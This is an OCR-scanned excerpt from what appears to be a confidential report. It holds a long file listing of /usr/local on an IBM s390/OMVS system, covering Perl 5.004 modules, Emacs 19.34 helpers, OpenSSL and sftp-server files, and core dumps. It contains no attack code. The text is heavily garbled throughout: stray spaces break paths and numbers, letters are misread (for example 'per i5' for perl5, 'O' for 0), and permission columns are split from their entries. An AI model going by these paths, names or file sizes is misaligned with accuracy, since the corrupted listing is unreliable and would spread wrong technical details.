1 73  Dec 4 1997 /usr/loca l/ l i b/pe rl 5/s390/5 .00403/a uto/POSIX/readd i r . a l  

1 57  Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/POSIX/rea l l oc . a l  

169 Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/remove . a l  

192  Dec  4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/rename . a l  

173  Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/rewi nd . a l  

179  Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/rewi ndd i r . a l  

171 Dec  4 1997 /usr/loca l/ l i b/pe rl 5/s390/5 .00403/auto/POSIX/rmd i r. a l  

184 Dec 4 1997 /usr/loca l/l i b/perl 5/s390/5 .00403/auto/POSIX/scanf. a l  

1 6 1  Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/setg id . a l  

167 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/setj m p . a l  

161 Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POS IX/setu i d . a l  

1 71  Dec 4 1997 /usr/loca l/ l i b/perl 5/s390/5 .00403/auto/POSIX/s ig longjmp . a l  

173  Dec  4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/sigsetj m p .a l  

153  Dec  4 1997 /usr/loca l/ l i b/pe rl 5/s390/5 .00403/auto/POS IX/s i n . a l  

1 65  Dec 4 1997 /usr/loca l/l i b/pe rl 5/s390/5 .00403/a uto/POSIX/s leep. a l  
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Report 

179 Dec 4 1997 /usr/ local/ l i b/per l 5/s390/5 .00403/auto/POS IX/spri ntf. a l  

156 Dec 4 1997 /usr/ loca l/l i b/per l 5/s390/5 .00403/a uto/POSIX/sq rt . a l  

130  Dec  4 1997  /usr/loca l/l i b/perl 5/s390/5 .00403/auto/POS IX/sra nd . a l  

179 Dec 4 1997 /usr/ loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/ssca nf. a l  

163 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/stat. a l  

1 62  Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/auto/POS IX/strcat . a l  

167 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/strch r. a l  

162 Dec 4 1997 /usr/ loca l/l i b/per l 5/s390/5 .00403/a uto/POS IX/strcmp . a l  

161 Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/strcpy . a l  

181 Dec  4 1997  /usr/loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/strcspn . a l  

186 Dec 4 1997 /usr/ loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/stre rror. a l  

166 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/str l e n . a l  

164 Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/a uto/POSIX/strncat . a l  

164 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/strncm p . a l  

1 63  Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/auto/POS IX/strncpy .a l  

157 Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/POSIX/strpbrk . a l  

170 Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/strrch r . a l  

155 Dec 4 1997 /usr/ loca l/ l i b/pe rl 5/s390/5 .00403/a uto/POSIX/strspn . a l  
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178 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/POSIX/strstr . a l  

1 55  Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/strtok . a l  

168  Dec  4 1997 /usr/loca l/ l i b/perl 5/s390/5 .00403/auto/POSIX/system . a l  

148 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/t i me . a l  

147 Dec  4 1997  /usr/loca l/l i b/per l 5/s390/5 .00403/a uto/POS IX/tmpfi le . a l  

165  Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/POSIX/to l ower .a l  

165 Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/tou pper. a l  

1 62  Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/umask .a l  

143 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/POS IX/ungetc. a l  

169 Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/a uto/POS IX/u n l i n k. a l  

194 Dec 4 1997 /usr/ loca l/l i b/per l 5/s390/5 .00403/a uto/POSIX/uti me . a l  

150  Dec  4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/vfpr intf. a l  

148 Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/vpr i ntf. a l  

150  Dec  4 1997 /usr/loca l/ l i b/perl 5/s390/5 .00403/auto/POSIX/vspr i ntf. a l  

150  Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/wa it . a l  

183 Dec 4 1997 /usr/loca l /l i b/perl 5/s390/5 .00403/auto/POSIX/wa itp id . a l  

267460 J u l  30 1998 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/POSIX .a 

O Oct 28 1998 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/Socket/ 
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1 

1 

1 

Report 

1 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/Socket/extra l i bs . l d  

36682 J u l  30  1998 /usr/ loca l/ l i b/per l 5/s390/5 .00403/auto/Socket/Socket .a  

O Oct 28 1998 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/SDBM_Fi le/ 

1 Dec 4 1997 /usr/ loca l/l i b/perl 5/s390/5 .00403/auto/SDBM_Fi l e/extra l i b s . l d  

56458 Ju l  30 1998 /usr/ loca l/l i b/per l 5/s390/5 .00403/auto/SDBM_F i l e/SDBM_F i l e . a  

969  Dec  4 1997  /usr/loca l/l i b/per l 5/s390/5 .00403/ops . pm  

18547 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/over loa d . pm 

O Oct 28 1998 /usr/ loca l/ l i b/per l 5/s390/5 .00403/pod/ 

100771  Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/pod/per ld iag . pod 

16006 J u l  3 1  1998 /usr/ loca l/ l i b/per l 5/s390/5 .00403/Config . pm 

O Oct 28 1998 /usr/ loca l/l i b/per l 5/s390/5 .00403/CORE/ 

1638 Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/CORE/av . h  

56883 Ju l  3 1  1998 /usr/ loca l/ l i b/per l 5/s390/5 .00403/CORE/config . h 

8196 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/cop . h  

2767 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/cv . h  

3286 Dec  4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/CORE/dos i s h . h  

55865 J u l  30  1998 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/embed . h  

547 Dec 4 1997 /usr/loca l/ l i b/pe rl 5/s390/5 .00403/CORE/form . h  
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4285 Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/CORE/gv. h 

10083 Apr l 1998 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/ha ndy. h 

3733 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/hv . h  

5794 Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/CORE/keywords . h  

2 186864 J u l  30 1998 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/I i bper l . a  

1071 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/mg. h 

559 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/nostd io . h  

7586 Dec  4 1997 /usr/loca l/l i b/pe rl 5/s390/5 .00403/CORE/op . h 

47571 J u l  30 1998 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/opcode . h  

1570 Ap r  5 1998 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/patch leve l . h  

62762 Ap r  l 1998 /usr/ loca l/ l i b/per l 5/s390/5 .00403/CORE/per l . h  

4669 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/perl i o . h  

8895 Dec  4 1997 /usr/ loca l/l i b/per l 5/s390/5 .00403/CORE/per lsd i o. h  

2063 Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/CORE/pe r lsfio . h 

1214 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/per ly . h 

7156 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/pp . h  

20545 Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/CORE/proto . h  

9246 Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/CORE/regcom p . h  
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-r--r--r-- O O 1 
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1118 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/regexp. h 

4170 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/scope . h  

19815 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/sv . h  

3567 Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/CORE/u n ix ish . h  

2 14 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/uti l . h  

1322 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/EXTER N . h  

901 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/CORE/ I NTERN . h  

2094 Dec 4 1997 /usr/l oca l/l i b/pe rl 5/s390/5 .00403/CORE/XSUB . h  

22869 Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/Dynaloader . pm 

2866 Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/Fcnt l . pm 

6568 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/F i l eHand l e . pm 

O Oct 28 1998 /usr/loca l/l i b/per l 5/s390/5 .00403/I O/ 

3889 Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/IO/F i l e . pm  

12283 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/ IO/Hand l e . pm 

5030 Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/I O/P i pe . pm 

1414 Dec  4 1997 /usr/loca l/ l i b/per l5/s390/5 .00403/I O/Seeka b le . pm 

7689 Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/I O/Se l ect. pm  

16353 Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/IO/Socket . pm 
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471 Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/ IO . pm 

441 Dec 4 1997 /usr/ loca l/l i b/per l 5/s390/5 .00403/NDBM_Fi l e . pm 

15089 Dec  4 1997 /usr/ loca l/ l ib/per l 5/s390/5 .00403/0pcode . pm 

18133 Dec  4 1997 /usr/ loca l/ l ib/per l 5/s390/5 .00403/POS IX . pm 

35438 Dec  4 1997 /usr/ loca l/ l ib/per l 5/s390/5 .00403/POS IX . pod 

16565 Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/Safe . p m  

7285 Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/Socket . pm 

401 Dec  4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/SDBM_F i l e . pm  

164 Dec  4 1997 /usr/ loca l/ l i b/per l 5/ta i nted . p l  

3839 Dec 4 1997 /usr/ loca l/ l i b/per l 5/te rmcap . p l 

690 Dec 4 1997 /usr/ loca l/ l i b/per l 5/ti me loca l . p l 

3803 Dec 4 1997 /usr/ loca l/ l i b/per l 5/va l i date. p l  

1653 Dec  4 1997 /usr/ loca l/ l i b/per l 5/va rs. pm  

2553 Dec 4 1997 /usr/ loca l/ l i b/per i 5/AnyDBM_F i l e . pm 

8281  Dec  4 1997 /usr/ loca l/ l i b/per i 5/Autoloader . pm 

11872 Dec  4 1997 /usr/ loca l/ l i b/per l5/ AutoSp l i t . pm  

10037 Dec 4 1997 /usr/ loca l/ l i b/per i5/Bench ma rk . pm 

O Oct 28 1998 /usr/ loca l/ l i b/per i5/Bund l e/ 

Strict ly confidenti a l  l Bus i ness Secret l 

Sidan 3 1 8  av 574 

Report 



Sidan 3 1 9  av 574 

Report 

-r--r-- r-- O O 1 728 Dec 4 1997 /usr/l oca l/l i b/per i 5/Bund l e/CPAN .pm 

-r--r--r-- O O 1 4447 Dec 4 1997 /usr/loca l/ l i b/per i 5/Ca rp . pm 

d rwxr-xr-x O O 1 O Oct 28 1998 /usr/l oca l/l i b/per i5/Ci ass/ 

-r-- r-- r-- O O 1 13829 Dec 4 1997 /usr/loca l/ l i b/per i 5/Ci ass/Struct . pm 

-rw-r--r-- O O 1 
l 

15932 N ov 3 1997 /usr/loca l/ l i b/per i 5/Config . pm 

-r-- r-- r-- O O 1 8878 Dec 4 1997 /usr/loca l/l i b/per i 5/Cwd . pm  

d rwxr-xr-x O O 1 O Oct 28 1998 /usr/ loca l/l i b/per i 5/CG I/ 

-r--r--r-- O O 1 2396 Dec 4 1997 /usr/loca l/ l i b/per i 5/CG I/Apache . pm  

-r-- r-- r-- O O 1 6537 Dec 4 1997 /usr/loca l/ l i b/per i 5/CG I/Ca rp .pm 

-r--r-- r-- O O 1 5408 Dec 4 1997 /usr/loca l/ l i b/per i 5/CG I/Fast. pm 

-r-- r-- r-- O O 1 7277 Dec 4 1997 /usr/loca l/ l i b/per i 5/CG I/Push . pm  

-r--r--r-- O O 1 1564 Dec 4 1997 /usr/loca l/ l i b/per i 5/CG I/Switch . pm 

-r-- r-- r-- O O 1 153617 Dec 4 1997 /usr/loca l/ l i b/per i 5/CG I . pm 

d rwxr-xr-x O O 1 O Oct 28 1998 /usr/loca l/ l i b/per i5/CPAN/ 

-r-- r--r-- O O 1 1 1022 Dec 4 1997 /usr/loca l/ l i b/per i5/CPAN/F i rstTi me . pm 

-r--r-- r-- O O 1 630 Dec 4 1997 /usr/loca l/ l i b/per i 5/CPAN/Nox. pm 

-r-- r-- r-- O O 1 102609 Dec 4 1997 /usr/loca l/l i b/per i5/CPAN . pm  

d rwxr-xr-x O O 1 O Oct 28 1998 /usr/loca l/ l i b/per i 5/Devel/ 
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45 19 Dec 4 1997 /usr/ loca l/l i b/per i 5/Deve i/SelfStubber . p m  

1353 Dec 4 1997 /usr/loca l/ l i b/per i5/Di rHand l e . pm 

3164 Dec 4 1997 /usr/loca l/ l i b/per i5/Eng l i s h . pm 

1620 Dec 4 1997 /usr/ loca l/l i b/per i5/Env. pm 

14112 Oct 29 1997 /usr/ loca l/ l i b/per i 5/Exporter . pm 

O Oct 28 1998 /usr/loca l/ l i b/per i 5/ExtUt i l s/ 

534 Dec 4 1997 /usr/l oca l/l i b/per i 5/ExtUti l s/test l i b . pm 

6020 Dec  4 1997 /usr/loca l/ l i b/per i 5/ExtUt i l s/typemap  

34555 Dec 4 1997 /usr/ loca l/l i b/per i5/ExtUt i l s/xsubpp  

3481 Dec  4 1997 /usr/loca l/ l i b/per i5/ExtUt i l s/Com mand . pm  

12 181  Dec 4 1997 /usr/ loca l/ l i b/per i 5/ExtUt i ls/Embed . pm 

11884 Dec 4 1997 /usr/loca l/l i b/per i 5/ExtUti l s/ l n sta l l . pm 

19865 Dec 4 1997 /usr/loca l/ l i b/per i 5/ExtUt i l s/Li b l i st . pm 

56906 Dec  4 1997 /usr/loca l/ l i b/per i 5/ExtUti l s/Ma keM aker. p m  

10850 Dec 4 1997 /usr/ loca l/l i b/per i 5/ExtUt i l s/Man ifest . pm 

3593 Dec  4 1997 /usr/ loca l/ l i b/per i 5/ExtUti l s/M i n i per l . p m  

3090 Dec 4 1997 /usr/loca l/ l i b/per i 5/ExtUt i l s/Mkbootstra p . pm  

9617 Dec 4 1997 /usr/ loca l/ l i b/per i 5/ExtUti l s/M ksym l i sts . pm  
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- r-- r-- r-- O O l 1859 Dec 4 1997 /usr/ loca l/l i b/per i 5/ExtUt i l s/M M_OS2. pm  

-r-- r-- r-- O O l 94267 Dec 4 1997 /usr/ loca l/ l i b/per i 5/ExtUt i l s/M M_U n ix .pm 

-r--r--r-- O O l 72203 Dec 4 1997 /usr/loca l/ l i b/per i5/ExtUt i l s/M M_ VMS. pm 

-r--r--r-- O O l 20554 Dec 4 1997 /usr/ loca l/ l i b/per i 5/ExtUti l s/M M_Win32 . pm 

d rwxr-xr-x O O l O Oct 28 1998 /usr/loca l/ l i b/per i5/F i l e/ 

- r-- r-- r-- O O l 2812 Dec 4 1997 /usr/loca l/ l i b/per i5/F i l e/stat . pm 

-r--r-- r-- O O l 8028 Dec 4 1997 /usr/ loca l/ l i b/per i5/F i l e/Basename .pm 

-r-- r-- r-- O O l 5176 Dec 4 1997 /usr/loca l/l i b/pe r i5/F i l e/CheckTree .pm 

-r--r--r-- O O l 3 106 Dec 4 1997 /usr/ loca l/ l i b/per i5/F i l e/Com pa re . pm 

-r-- r-- r-- O O l 10526 Dec 4 1997 /usr/ loca l/ l i b/pe r i5/F i l e/Copy .pm 

-r-- r--r-- O O l 5118 Dec 4 1997 /usr/loca l/ l i b/per i5/F i l e/DosG iob . pm 

-r--r--r-- O O l 6587 Dec 4 1997 /usr/ loca l/ l i b/per i5/F i l e/Fi n d . pm  

-r--r--r-- O O l 6268 Dec 4 1997 /usr/ loca l/ l i b/per i5/F i l e/Path . p m  

-r-- r-- r-- O O l 1671 Dec 4 1997 /usr/loca l/ l i b/pe r i 5/F i l eCache . pm 

-r-- r-- r-- O O l 4527 Dec 4 1997 /usr/ loca l/ l i b/per i5/F i n dBi n . pm 

d rwxr-xr-x O O l O Oct 28 1998 /usr/loca l/ l i b/per i 5/Getopt/ 

- r--r-- r-- O O l 35 166 Dec 4 1997 /usr/ loca l/l i b/per i 5/Getopt/Long . pm  

-r--r-- r-- O O l 4126 Dec 4 1997 /usr/ loca l/ l i b/per i 5/Getopt/Std . p m  
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d rwxr-xr-x O O l O Oct 28 1998 /usr/loca l/ l i b/per i5/ I PC/ 

-r--r--r-- O O l 2836 Dec 4 1997 /usr/loca l/ l i b/per i5/ I PC/Open2 . pm 

-r--r-- r-- O O l 8552 Dec 4 1997 /usr/loca l/ l i b/per i5/ I PC/Open3 . pm 

d rwxr-xr-x O O l O Oct 28 1998 /usr/ loca l/ l i b/per i5/ 1 18N/ 

-r-- r--r-- O O l 5229 Dec 4 1997 /usr/loca l/ l i b/per i5/1 18N/Col late . pm 

d rwxr-xr-x O O l O Oct 28 1998 /usr/loca l/l i b/per i5/Math/ 

-r--r--r-- O O l 8550 Dec 4 1997 /usr/ loca l/ l i b/per i5/Math/BigF i oat . pm 

-r-- r--r-- O O l 10463 Dec 4 1997 /usr/loca l/ l i b/per i5/Math/Big l nt . pm 

-r--r--r-- O O l 33912 Dec 4 1997 /usr/ loca l/ l i b/per i5/Math/Com plex. pm  

-r--r--r-- O O l 5575 Dec 4 1997 /usr/loca l/ l i b/per i5/Math/Trig . pm 

d rwxr-xr-x O O l O Oct 28 1998 /usr/local/ l i b/per i 5/Net/ 

-r--r--r-- O O l 3994 Dec 4 1997 /usr/loca l/ l i b/per i 5/Net/hostent . pm 

-r-- r--r-- O O l 4466 Dec 4 1997 /usr/ loca l/ l i b/per i5/Net/netent . pm 

-r--r--r-- O O l 3006 Dec 4 1997 /usr/ loca l/l i b/per i5/Net/protoent . pm 

-r-- r--r-- O O l 3457 Dec 4 1997 /usr/ loca l/l i b/per i5/Net/se rvent . pm 

-r--r-- r-- O O l 20539 Dec 4 1997 /usr/loca l/ l i b/per i 5/Net/Pi ng . p m  

d rwxr-xr-x O O l O Oct 28 1998 /usr/loca l/ l i b/per i 5/Pod/ 

-r-- r--r-- O O l 12285 Dec 4 1997 /usr/loca l/l i b/per i 5/Pod/Functions . pm 
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-r-- r--r-- O O l 41351 Dec 4 1997 /usr/ loca l/l i b/per i 5/Pod/Htm l . p m  

-r--r-- r-- O O l 13417 Dec 4 1997 /usr/loca l/l i b/per i 5/Pod/Text .pm 

d rwxr-xr-x O O l O Oct 28 1998 /usr/loca l/ l i b/per i 5/Sea rch/ 

- r-- r-- r-- O O l 1476 Dec 4 1997 /usr/loca l/ l i b/per i5/Sea rch/D ict . pm 

-r-- r-- r-- O O l 1050 Dec 4 1997 /usr/loca l/ l i b/per i5/Se lect5aver. pm 

-r--r--r-- O O l 11683 Dec 4 1997 /usr/ loca l/ l i b/per i 5/Selfloader. pm 

-r-- r-- r-- O O l 2182 Dec 4 1997 /usr/loca l/ l i b/per i5/She l l . pm 

-r--r--r-- O O l 2828 Dec 4 1997 /usr/loca l/ l i b/per i 5/Sym bol . pm 

d rwxr-xr-x O O l O Oct 28 1998 /usr/ loca l/ l i b/per i 5/Sys/ 

-r--r--r-- O O l 2591 Dec 4 1997 /usr/loca l/ l i b/per i 5/Sys/Hostname .pm 

-r-- r--r-- O O l 6619 Dec 4 1997 /usr/ loca l/ l i b/per i 5/Sys/Sys log . pm 

d rwxr-xr-x O O l O Oct 28 1998 /usr/loca l/l i b/per i 5/Term/ 

-r--r-- r-- O O l 11725 Dec 4 1997 /usr/ loca l/ l i b/per i 5/Te rm/Ca p . pm 

-r--r--r-- O O l 3436 Dec 4 1997 /usr/loca l/ l i b/per i 5/Term/Com plete . pm 

-r--r--r-- O O l 9051 Dec 4 1997 /usr/loca l/l i b/per i 5/Term/Readli ne . pm 

d rwxr-xr-x O O l O Oct 28 1998 /usr/ loca l/ l i b/per i 5/Test/ 

-r--r--r-- O O l 10015 Dec 4 1997 /usr/ loca l/l i b/per i5/Test/Ha rness . pm  

d rwxr-xr-x O O l O Oct 28 1998 /usr/loca l/ l i b/per i 5/Text/ 
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-r-- r-- r-- O O l 

-r--r--r-- O O l 

-r-- r--r-- O O l 

-r-- r--r-- O O l 
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d rwxr-xr-x O O l 

-r--r-- r-- O O l 

-r-- r-- r-- O O l 

-r--r--r-- O O l 

-r--r-- r-- O O l 

d rwxr-xr-x O O l 

-r--r--r-- O O l 

-r--r--r-- O O l 

-r-- r-- r-- O O l 

-r-- r--r-- O O l 

d rwxr-xr-x O O l 

-r-- r--r-- O O l 

-r--r--r-- O O l 

1655 Dec 4 1997 /usr/loca l/ l i b/per i 5/Text/Abbrev .pm 

4622 Dec  4 1997 /usr/loca l/ l i b/per i 5/Text/Pa rseWords . p m  

4229 Dec 4 1997 /usr/loca l/ l i b/per i 5/Text/Sou ndex. pm 

1791 Dec 4 1997 /usr/loca l/ l i b/per i 5/Text/Ta bs . p m  

3086 Dec 4 1997 /usr/loca l/ l i b/per i 5/Text/Wrap . pm 

O Oct 28 1998 /usr/ loca l/l i b/per i 5/Tie/ 

3981 Dec 4 1997 /usr/ loca l/ l i b/per i 5/Tie/Hash . p m  

1962 Dec 4 1997 /usr/loca l/ l i b/per i 5/Tie/RefHash . pm  

3307 Dec 4 1997 /usr/loca l/ l i b/per i 5/Tie/Sca l a r . pm 

4503 Dec 4 1997 /usr/loca l/ l i b/per i 5/Tie/Su bstrHash . p m  

O Oct 2 8  1998 /usr/ loca l/l i b/per i 5/Ti me/ 

2517 Dec 4 1997 /usr/loca l/ l i b/per i 5/Time/gmti me .pm 

2348 Dec  4 1997 /usr/loca l/l i b/per i 5/Time/loca lti me . pm 

667  Dec  4 1997 /usr/ loca l/ l i b/per i 5/Ti me/tm . pm 

3994 Dec 4 1997 /usr/loca l/ l i b/per i 5/Time/Loca l . pm 

O Oct 28 1998 /usr/loca l/ l i b/per i 5/User/ 

2878 Dec 4 1997 /usr/ loca l/l i b/per i 5/User/grent . pm 

2929 Dec  4 1997 /usr/ loca l/ l i b/per i5/User/pwent . pm 
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-r-- r-- r-- O O 1 

d rwxr-xr-x O O 1 

-rw-r--r-- O O l 

d rwxr-xr-x O O l 

d rwxr-xr-x O O l 

d rwxr-xr-x O O l 

d rwxr-xr-x O O 1 

-rwxr-xr-x O O l 

-rwxr-xr-x O O 1 

-rwxr-xr-x O O l 

-rwxr-xr-x O O l 

-rwxr-xr-x O O l 

-rwxr-xr-x O O l 

-rwxr-xr-x O O 1 

-rwxr-xr-x O O l 

-rwxr-xr-x O O l 

-rwxr-xr-x O O l 

-rwxr-xr-x O O l 

2291 Dec 4 1997 /usr/ loca l/l i b/per i5/U N IVERSAL. pm 

O Ma r  11  2003 /usr/ l oca l/ l i b/pkgconfig/ 

276 Feb 2 1  2003 /usr/ loca l/ l i b/pkgconfig/openss l . pc 

O May 18 2004 /usr/ loca l/ l i bexec/ 

O Apr 28  1999 /usr/ loca l/ l i bexec/emacs/ 

O Apr 28 1999 /usr/loca l/ l i bexec/emacs/19 . 34/ 

O Apr 28  1999 /usr/ loca l/ l i bexec/emacs/19. 34/i390- ibm-omvs/ 
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161 Apr 28 1999 /usr/ loca l/ l i bexec/emacs/19 .34/i 390-i bm-omvs/cpp . sh  

77824 Apr 28 1999 /usr/loca l/ l i bexec/emacs/19 . 34/i390-i bm-omvs/cvtma i l  

65536  Apr 28 1999 /usr/loca l/ l i bexec/emacs/19 .34/i390- ibm-omvs/d igest-doc 

69632 Apr 28 1999 /usr/ loca l/ l i bexec/emacs/19. 34/i 390-i bm-omvs/emacsserver 

98304 Apr 28 1999 /usr/ loca l/ l i bexec/emacs/19. 34/i390-i bm-omvs/fa kema i l  

77824 Ap r  28  1999 /usr/ loca l/ l i bexec/emacs/19 . 34/i390-i bm-omvs/hexl 

94208 Apr 28 1999 /usr/ loca l/ l i bexec/emacs/19 .34/i 390-i bm-omvs/movema i l  

69632 Apr 28 1999 /usr/l oca l/ l i bexec/emacs/19 .34/i390-i bm-omvs/profi le  

15544 Apr 28 1999 /usr/loca l/ l i bexec/emacs/19. 34/i 390-i bm-omvs/rcs2 1og 

77824 Apr 28 1999 /usr/ loca l/ l i bexec/emacs/19. 34/i390-i bm-omvs/sorted-doc 

1300 Apr 28 1999 /usr/loca l/ l i bexec/emacs/19 .34/i390- i bm-omvs/vcd iff 
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- rw-r-- r-- O O l 

-rw-r-- r-- O O l 

-rw-r--r-- O O l 

d rwxr-xr-x O O l 

d rwxr-xr-x O O l 
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- rw-r--r-- O O l 
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8 1920 Apr 28 1999 /usr/ loca l/l i bexec/emacs/19 . 34/i390- ibm-omvs/yow 

77824 Feb 21 2003 /usr/ loca l/l i bexec/ra nd-he l per. i csf 

372 Feb 2 1  2003 /usr/loca l/ l i bexec/ra nd-he l per . rexx 

622592 Feb 22 2003 /usr/ loca l/ l i bexec/sftp-server 

1290240 Feb 22 2003 /usr/ loca l/ l i bexec/ssh - ra nd-he lper  

114411  May 17 2004 /usr/loca l/ l i bexec/CEEDU M P .20040517 . 164829.44 

114411  May 18 2004 /usr/loca l/ l i bexec/CEEDU M P .20040518.090747 .33554473 

6279 Feb 22 2003 /usr/ loca l/ l icence .openss l  

O Jan 10 2002 /usr/ loca l/ma n/ 

O Apr 28 1999 /usr/ loca l/m a n/m a n l/ 

17 Apr 28 1999 /usr/ loca l/ma n/ma n l/ctags . l  

13783 A p r  28  1999 /usr/ loca l/ma n/m a n l/emacs . l  

8748 Apr 2 8  1999 /usr/loca l/ma n/ma n l/etags . l  

O J a n  9 2002 /usr/loca l/ma n/C/ 

O J a n  10 2002 /usr/ loca l/ma n/C/catl/ 

8640 J a n  9 2002 /usr/loca l/ma n/C/catl/a snlpa rse . l  

20951  J a n  9 2002 /usr/loca l/ma n/C/catl/ca . l  

16676 J a n  9 2002 /usr/loca l/man/C/catl/ci phers . l  
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-rw-r--r-- O O 1 6897 J a n  9 2002 /usr/ l oca l/ma n/C/catl/crl . l  

-rw-r--r-- O O 1 7063 J a n  9 2002 /usr/ loca l/ma n/C/cat1/crl 2pkcs7 . 1  

-rw-r-- r-- O O 1 6881 J a n  9 2002 /usr/loca l/ma n/C/cat1/dgst . 1 

-rw-r--r-- O O 1 8342 J a n  9 2002 /usr/ loca l/ma n/C/cat1/dhpa ra m . 1  

-rw-r-- r-- O O 1 8941 J a n  9 2002 /usr/loca l/ma n/C/cat 1/dsa . 1  

-rw-r--r-- O O 1 7214 J a n  9 2002 /usr/loca l/ma n/C/cat1/dsa para m . 1  

-rw-r-- r-- O O 1 12191 J a n  9 2002 /usr/loca l/ma n/C/cat1/enc . 1 

-rw-r--r-- O O 1 5778 J a n  9 2002 /usr/ loca l/ma n/C/cat1/gendsa . 1  

-rw-r-- r-- O O 1 6772 J a n  9 2002 /usr/loca l/man/C/cat1/gen rsa . 1  

-rw-r-- r-- O O 1 6064 J a n  9 2002 /usr/loca l/ma n/C/cat1/nseq . 1  

-rw-r--r-- O O 1 14104 J a n  9 2002 /usr/ loca l/man/C/cat1/openss l . 1  

-rw-r--r-- O O 1 5889 J a n  9 2002 /usr/ loca l/ma n/C/cat1/passwd . 1  

-rw-r--r-- O O 1 163 14 J a n  9 2002 /usr/loca l/ma n/C/cat1/pkcs12 . 1  

-rw-r--r-- O O 1 6588 J a n  9 2002 /usr/ loca l/ma n/C/cat1/pkcs7 . 1  

-rw-r--r-- O O 1 13572 J a n  9 2002 /usr/ loca l/ma n/C/cat1/pkcs8 . 1  

